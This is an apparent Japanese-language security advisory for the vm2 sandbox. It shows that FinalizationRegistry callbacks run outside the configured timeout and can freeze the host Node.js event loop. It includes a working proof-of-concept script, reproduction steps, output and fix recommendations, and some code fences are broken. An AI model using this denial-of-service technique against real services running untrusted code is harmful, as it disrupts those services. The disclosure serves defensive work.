vm2: FinalizationRegistryのクリーンアップコールバックによるタイムアウトオプションの回避(ホストイベントループの無限ブロック)
### 脆弱性の概要
vm2の`VM({ timeout })`オプションは、サンドボックス化されたコードの実行時間を制限する仕組みとしてドキュメントに記載されており、多くのユーザーがそれを信頼しています。しかし、現在の実装では、このタイムアウトは`VM#run()`への単一の同期呼び出し(`lib/vm.js`の`doWithTimeout` → `this._runScript(script)`経由)にのみ適用されます。そのため、V8エンジン自体がその呼び出しが完了した後で実行するようにスケジュールしたコードに対しては、タイムアウトを適用できず、構造的にすることもできません。
`FinalizationRegistry`と`WeakRef`は、サンドボックス化されたコードに対して、変更なしで完全に公開されています。これらは、`lib/setup-sandbox.js`に記載されている、特別にラップまたは強化されたグローバル変数リストには含まれていません(`WeakMap`、`Promise`、`Proxy`、`Reflect`などは、そこで強化されています)。サンドボックス化されたコードは、自身が作成したオブジェクトに対して`FinalizationRegistry`のコールバックを登録し、すぐにオブジェクトを破棄することができます。`VM#run()`は、登録が即座に行われるため、設定されたタイムアウト内に正常に終了します。しかし、後で、V8ガベージコレクタによって決定されるタイミングで、またはホストプロセスによって強制的に(例えば、メモリ不足時、または`--expose-gc`オプションを使用する場合)トリガーされるタイミングで、エンジンはサンドボックス化されたクリーンアップコールバックを直接呼び出します。この呼び出しは、`doWithTimeout`、`Script.runInContext({timeout})`、またはその他のvm2の制御メカニズムを介して行われません。なぜなら、これは`VM#run()`への新しい呼び出しではなく、ガベージコレクタ自身のネイティブなコールバック呼び出しパスであるからです。
## 影響を受けるコードとバージョン
- **リポジトリ:** `patriksimek/vm2`
- **テストバージョン:** `3.11.6` (コミット `a5b31cd9c01b37139aa9c71df1c691a6d1b440f9`, 2026年8月14日) — これは、すべての2026年のCVE対応(CVE-2026-22709、CVE-2026-26956、および2026年5月の13件の脆弱性修正)が適用された最新の`main`ブランチです。
- **`lib/vm.js`, `run()` (約501行目) および `doWithTimeout()` (約105行目):** `timeout`オプションは、`this._runScript(script)`への単一の呼び出しのみを対象としています。 その呼び出し外でスケジュールされたエンジン内部のコールバックによってトリガーされる実行を制限する仕組みはありません。
- **`lib/setup-sandbox.js`, 1行目から14行目:** モジュールのサンドボックス化/保護されたグローバル変数リスト(`LocalWeakMap`, `LocalProxy`, `LocalError`など)には、`FinalizationRegistry`または`WeakRef`が含まれていません。 リポジトリ全体での`FinalizationRegistry|WeakRef`の検索結果は、`lib/`ディレクトリ内で0件です。 これは、これらのオブジェクトがサンドボックス化されたコードに対して、保護や特別な処理なしに、そのままの、完全に機能するコンストラクタとして公開されていることを確認しています。
## 再現手順
環境: Node.js v22.22.2, vm2は上記のコミットでチェックアウトされ、依存関係は`npm install`でインストールされています。
1. クローンしてインストールします。
```
git clone https://github.com/patriksimek/vm2.git
cd vm2 && npm install
```
2. リポジトリのルートに`poc_timeout_bypass.js`という名前で保存します。
```js
const { VM } = require('./lib/main.js');
const CONFIGURED_TIMEOUT_MS = 200;
const vm = new VM({ timeout: CONFIGURED_TIMEOUT_MS });
const t0 = Date.now();
let runError = null;
try {
vm.run(`
let target = {};
const registry = new FinalizationRegistry(() => {
const busyStart = Date.now();
while (Date.now() - busyStart < 3000) { /* CPUを消費し、イベントループをブロックします */ }
});
registry.register(target, 'held-value');
target = null; // 強参照のみを削除 -> ガベージコレクションの対象
`);
} catch (e) { runError = e.message; }
const t1 = Date.now();
console.log('vm.run() は', t1 - t0, 'ms 後に終了しました。
```
Threw:', runError);
if (!global.gc) { console.log(' --expose-gc オプション付きで再実行してください'); process.exit(1); }
global.gc(); global.gc();
const timerScheduledAt = Date.now();
setTimeout(() => {
const delay = Date.now() - timerScheduledAt;
console.log('ホスト側の setTimeout(10ms) が、実際に', delay, 'ms 後に実行されました');
console.log('vm.run() が返ってから経過した合計時間:', Date.now() - t1, 'ms');
}, 10);
```
3. 実行: `node --expose-gc poc_timeout_bypass.js`
4. **観察された出力:**
```
vm.run() は 2ms で完了しました。Threw: null
ホスト側の setTimeout(10ms) は実際に 3000ms 後に実行されました
vm.run() が返ってから経過した合計時間: 3029 ms
```
5. **解釈:** `run()` は設定された 200ms のタイムアウト内に 2ms で完了しました。vm2 は、実行が安全に完了したと判断します。ホスト側の 10ms のタイマーは、約 3000ms 経過してから実行されました。これは、サンドボックス内のコードが設定されたタイムアウトよりも 15 倍長く実行され、`run()` が完了し、タイムアウトの適用が行われる前に、Node.js のイベントループ全体がサンドボックス化されたコードによってブロックされていることを証明しています。
6. 新しい `VM()` インスタンス内で、`typeof FinalizationRegistry` と `typeof WeakRef` を評価すると、どちらも `"function"` となり、ラップされていません。これは、これらのオブジェクトが意図的にアクセス可能であり、偶然のメモリリークによるものではないことを確認しています。
## 修正の推奨事項
以下のいずれかを選択するか、組み合わせる:
1. **`FinalizationRegistry` と `WeakRef` を、デフォルトでサンドボックスのグローバルスコープから削除する。** これらのオブジェクトは、信頼できないスクリプトではほとんど必要とされず、GC を使用したエンジンによる実行スケジュールは、絶対時間ベースの `timeout` とは根本的に互換性がありません。`lib/setup-sandbox.js` 内で、他のセキュリティ対策と同様に、これらのオブジェクトをコンテキストから削除します。
2. **これらのオブジェクトを必ずしも利用可能にする必要がある場合**、`FinalizationRegistry` のコンストラクタをラップし、サンドボックスが提供するコールバック関数自体を、ホスト側のディスパッチャを通じて呼び出すようにします。このディスパッチャは、新しいタイムアウトを各呼び出しごとに再適用します (例: `timeout` オプション付きの `Script.runInContext` を使用するか、または...
```
(もしこれが真の分離モデルに移植される場合)、`process.hrtime` または `Isolate::TerminateExecution` を使用して、累積CPU時間を監視する必要があります。予算を超えたコールバックは、現在 `run()` が予算を超えた場合に強制終了されるのと同じ方法で、強制的に終了されるべきです。
3. **どちらの機能もすぐに実装できない場合は、その欠点を明示的に文書化する:** 現在のREADME/ドキュメントでは、`timeout` は、何の制限もなしに、サンドボックス化された実行を制限するものとして記述されています。最低限、呼び出し元には、GCによってトリガーされるコールバック(`FinalizationRegistry`)が対象外であることを警告する必要があります。
`timeout` を設定して、信頼できないコードを vm2 で実行するアプリケーションは、無限にサービスを拒否される可能性があります。単一行のサンドボックス化されたスクリプト(`registry.register(target, x)` を実行し、参照を破棄する)が、予測不可能な将来のタイミングで実行される無限ループを引き起こし、攻撃者のループが実行されている間、ホストのNode.jsプロセス全体(シングルスレッドのイベントループ)をフリーズさせる可能性があります。このフリーズは非同期に発生し、トリガーとなる `run()` 呼び出しとは無関係であるため、インシデント対応も困難になります。フリーズが観測されたときには、原因となった `run()` 呼び出しがログやトレースから既に消えている可能性があります。
これは、**タイムアウト強制の回避/制御不能なリソース消費**の問題であり、現在示されているように、ホストオブジェクトへのアクセスを可能にするプロキシ/レルムのエスケープではありません。サンドボックス化されたコードは、自身のレルム内に留まります。詳細は、以下の「このレポートで主張していないこと」を参照してください。
影響を受けるパッケージ:
- npm (JavaScript) vm2: 影響を受けるバージョンは 3.11.6 以下、3.11.7 で修正済み。